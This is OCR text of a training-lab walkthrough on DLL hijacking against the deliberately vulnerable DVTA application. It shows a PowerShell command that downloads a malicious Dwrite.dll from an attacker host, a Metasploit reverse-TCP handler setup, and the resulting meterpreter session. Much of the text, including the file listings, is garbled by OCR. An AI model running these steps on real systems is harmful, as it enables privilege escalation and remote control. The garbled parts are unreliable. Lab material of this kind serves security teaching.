D Jgitattributes
D .gitignare
D AddExpenses.cs
E] AddExpenses.Designer.cs
I:] AddExpenses.resx
D Admin.cs
D Admin.Designer.cs
D Admin.resx
D App.config
D DataTableToCsv.cs
D DVTA.csproj
E] DVTA.csproj.user
[ pvTAsin
[ ovTAv1T.500
ExcelLibrary.dll
B3 imG_osas
D Login.cs
D Login.Designer.cs
D Login.resx
D Main.cs

D Main.Designer.cs

Date modified

10/23/2020 9:18 AM
10/23/2020 9:18 AM
10/23/2020 %18 AM
10/23/2020 9:18 AM
10/23/2020 9:18 AM
10/23/2020 9:18 AM
7/15/202011:33 PM
7/13/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/13/2020 11:33 PM
7/15/2020 11:33 PM
771572020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/202011:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7/15/2020 11:33 PM
7152020 11:33 PM

Type

File folder

File folder

File folder

File folder

File folder

File folder
GITATTRIBUTES File
GITIGMNORE File
S File

S File

RESX File

CS File

S File

RESX File
CONFIG File
S File

CSPROYJ File
USER File

SLM File

SUO File
Application extens...
lean

S File

S File

RESX File

S File

S File

Size

1KB
1KB
KB
TKB
53 KB
KB
4 KB
53 KB
2KB
1KB
BKB
1KB
2KB
115 KB
116 KB
32KB
4KB
f KB
53 KB
6 KB
2 KB

Step 2: We can access the application. Download the malicious DLL from the kali machine and
place it in the DVTA directory.

Command: iwr -UseBasicParsing -Uri http://10.10.0.2/Dwrite.dll -OutFile \Dwrite.dll
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write.dll

We have full control of this directory. Copy and paste the Dwrite.dll file in the DVTA folder.

| [+ = | Release

Share

View

« v 4 » ThisPC » Local Disk (C:) * Users » Administrator » Desktop » dwta * bin » Release
MNarme Date moedified Type Size
# Quick access
D DBAccess.dll 7/15/202011:33 PM Application extens... 8 KB
I Desktop + = A i )
I | | DBAccess.pdb 7/13/2020 11:33 PM PDB File 16 KB
(| Documents  #  wm oyra 7/15/2020 11:33PM  Application 217 KB
& Downloads  # [ pyTA.exe.config 7/15/2020 11:33PM  CONFIG File 2KE
[=] Pictures # [ DVTA.pdb 7/15/2020 11:33 PM  PDE File 52 KRB
[0 This PC |T€'| DVTAvshost 7/15/202011:33 PM Application 23 KB
o || DVTAvshost.exe.config 7/15/2020 11:33 PM - CONFIG File 2KE
[?' Metwork D DVTAvshost.exe.manifest 7/15/2020 11:33 PM - MANIFEST File 1KB
D EntityFramework.dll 7/15/202011:33 PM - Application extens... 1,081 KB
=] EntityFramework 715/202011:33 PM XML Document 1,004 KB
B Excellibrary.dll 7/15/202011:33 PM Application extens.., 116 KB
E] Dwrite.dl 10/26/2020 6:26 AM  Application extens... 5KB

Now, when a high privileged user runs the DVTA.exe we can expect a meterpreter session on
the Kali machine.

Switch to Target Machine

Running DVTA.exe

©PentesterAcademy.com

www.attackdefense.com




Manage

-~

Application Tools

D?C

5hare View
&« v » ThisPC »
Mame
3¢ Quick access
:| DBAccess.dll
Deskto e
5 i || DBAccess.pdb
%=| Documents 0 ovra
¥ Downloads | DVTA.exe.config
&= Pictures | DVTA.pdb
[ DVTAvshost
[ This PC o e
| DVTAvshost.exe.config
=¥ Metwork

We won'’t receive any output. But, when we switch back to the kali machine there is an active

meterpreter session.

Commands:
sysinfo
getuid

| DVTAwshost.exe.manifest

|| EntityFramework.dll

=] EntityFramework

|| ExcelLibrary.dll
=] Dwrite.dll

root@attackdefense:~# msfconsole -q
msf5 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp

msf5 exploit(

PAYLOAD => windows/meterpreter/reverse_tcp

msf5 exploit(
LHOST => 10.10.0.2
msT5 exploit(
LPORT => 4444
msf5 exploit(

Release

Local Disk (C:) » Users » Administrator » Desktop » dvta

Date medified

1:33 PM

.33 PM

» hin » Release

Type Size
Application extens... 2KB
PDE File 16 KB
Application 217 KB
CONFIG File 2KB
PDE File 52 KB
Application 23 KB
CONFIG File 2KB
MAMNIFEST File 1 KB
Application extens... 091 KB
XML Document I
Application extens.., 16 KB
Application extens... 5 KB

) > set PAYLOAD windows/meterpreter/reverse_tcp

) > set LHOST 10.10.0.2

) > set LPORT 4444

) > exploit

Started reverse TCP handler on 10.10.0.2:4444
Sending stage (176195 bytes) to 10.0.0.252

Meterpreter session 1 opened (10.10.0.2:4444 -> 10.0.0.252:49774) at 2020-10-24 16:33:28 +0530

meterpreter > sysinfo
Computer =

Architecture x64
System Language :
Domain
Logged On Users : 2
Meterpreter
meterpreter > getuid
Server username:

meterpreter > |j

PRIVILEGE-ESCAL
0S : Windows 2016+ (10.0 Build 17763).

en_US
: WORKGROUP

: x86/windows
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References

1. Process Monitor (https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)
2. Metasploit (https://www.metasploit.com/)
3. DVTA (https://github.com/secvulture/dvta)

©PentesterAcademy.com

www.attackdefense.com



https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://www.metasploit.com/
https://github.com/secvulture/dvta

